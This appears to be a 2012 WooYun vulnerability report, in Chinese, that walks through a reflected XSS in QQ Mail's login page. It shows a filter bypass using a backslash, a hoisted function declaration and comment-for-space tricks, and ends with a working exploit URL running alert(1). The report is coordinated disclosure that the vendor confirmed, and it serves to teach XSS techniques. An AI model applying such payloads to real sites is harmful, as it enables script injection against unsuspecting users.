当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015979

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 5. 反斜线复仇记

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-13 21:55

修复时间:2013-01-27 21:55

公开时间:2013-01-27 21:55

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-13: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向核心白帽子及相关领域专家公开
2013-01-06: 细节向普通白帽子公开
2013-01-16: 细节向实习白帽子公开
2013-01-27: 细节向公众公开

简要描述:

还是在<script>之间的场景,某些情况下,我们仅仅需要的只是一个反斜线,就可以绕过过滤了。

详细说明:

1. 有以下实例点。

http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1


对应的输出,如下图所示:

17.jpg


经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。

18.jpg


那么这里是否可以成功的XSS呢? 我们把缺陷代码部分提取出来。

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>


2. 可以看到有缺陷的部分是

location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。


我们可以控制的是 aaaa ,又不能用",怎么办呢?
因为我们可以使用 \,那么我们可以杀掉 aaaa 后面的 双引号。

location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";


可以看到代码的结果因为一个反斜线发生了变化,如下图:

19.jpg


为了保证 bbb 后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上 // 来注释掉后面的部分。变成以下形式。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";


3. 看起来不错哦,但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式。

location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";


由于==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)
4. 更顺眼了,但是还是会悲剧啊。由于from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?
5. 别紧张,javascript里有一个特性。 如下:

aaa();
function aaa(){

}


凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说:
解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是:

function aaa(){
}
aaa();


利用这样一个特性,我们的代码可以改改。

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";


这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1的时候,就不会报错啦~~
6. 故事往往是曲折的,到了这一步,我们会发现还是不行。
看一看源代码吧~~ ,哎,我们的空格被转义为了 &nbsp;

20.jpg


7. 当然,这么一点小事情,难不到我们的,我们用注释符来做分隔符。 /**/替换空格,有没有觉得和 sql注入一样了,咔咔。
于是,我们的代码变为了:

location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";


8. 嗯,这次没有语法错误了,我们插入我们自己的JS代码。

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";


最终的利用代码如下:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1


----------------------------
恩,这次是我们的 反斜线为 双引号报仇啦!

漏洞证明:

21.jpg


只有在不登录QQ邮箱的情况下触发,比较鸡肋,实际意义不大,仅供研究。

修复方案:

1. 随便修修就好。
2. 某些情况下,\ 还是很危险的。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-17 14:58

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-13 21:57 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    哎呀~~

  2. 2012-12-13 21:59 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    学都跟不上 这脚本太快了

  3. 2012-12-13 22:20 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    晚上不睡了,做等直播

  4. 2012-12-13 22:32 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @D&G 别等了,等公开吧。。

  5. 2012-12-13 22:35 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @鬼魅羊羔 万一太阳不出来了怎么办~~

  6. 2012-12-13 22:55 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @D&G 那咱们都别等了。。。没时间了。。

  7. 2012-12-13 22:56 | 蓝风 ( 普通白帽子 | Rank:125 漏洞数:25 | 崬汸慾哓 嗼檤焄垳皁 沓猵圊屾亾沬荖 颩憬...)

    我想关注@心伤的瘦子 ,请问@xsser 提供这功能么

  8. 2012-12-13 23:05 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @蓝风 你可以选择包养他。。。

  9. 2012-12-13 23:11 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    @D&G 今天码字码累了,明天再继续。

  10. 2012-12-13 23:27 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @心伤的瘦子 明天继续关注~~真心可以出书了

  11. 2012-12-13 23:27 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @心伤的瘦子 剑总,明天继续。。。

  12. 2012-12-13 23:57 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    @xsser 赶紧出关注功能啊。

  13. 2012-12-13 23:58 | Fate ( 实习白帽子 | Rank:51 漏洞数:5 | www.0hk.org)

    修补之后 希望马上在zone提供打包下载 洞主一生平安。。。。关注之

  14. 2012-12-14 09:00 | 子墨 ( 普通白帽子 | Rank:194 漏洞数:22 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    感觉像gainover的风格...

  15. 2012-12-14 09:09 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @心伤的瘦子 早~~

  16. 2012-12-14 09:55 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    @D&G 早

  17. 2012-12-14 12:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @p.z 为支持连载 本周内上线关注心伤序列功能

  18. 2012-12-14 16:09 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究,手机维修工程师。)

    继续关注~~

  19. 2013-01-18 19:05 | s1Ng4r ( 路人 | Rank:14 漏洞数:2 | runningm4n)

    真挺好 学习了

  20. 2013-01-28 08:59 | unxss ( 路人 | Rank:12 漏洞数:4 )

    很精彩

  21. 2013-01-28 13:17 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件,解放人的双手,一起...)

    真正的xss帝

  22. 2013-02-17 13:58 | saber ( 路人 | Rank:8 漏洞数:2 | 我只是一个人走了太久,久到习惯了一个人。)

    支持。。

  23. 2013-09-06 14:33 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    这个太赞了

  24. 2014-07-13 12:03 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)

    教科书

  25. 2014-08-06 01:07 | 大风对我说 ( 路人 | Rank:6 漏洞数:2 | 酱油党)

    不能再赞了

  26. 2015-03-31 22:10 | llkoio ( 路人 | Rank:20 漏洞数:3 | 热爱网络安全!)

    看你讲解的过程有一种美感。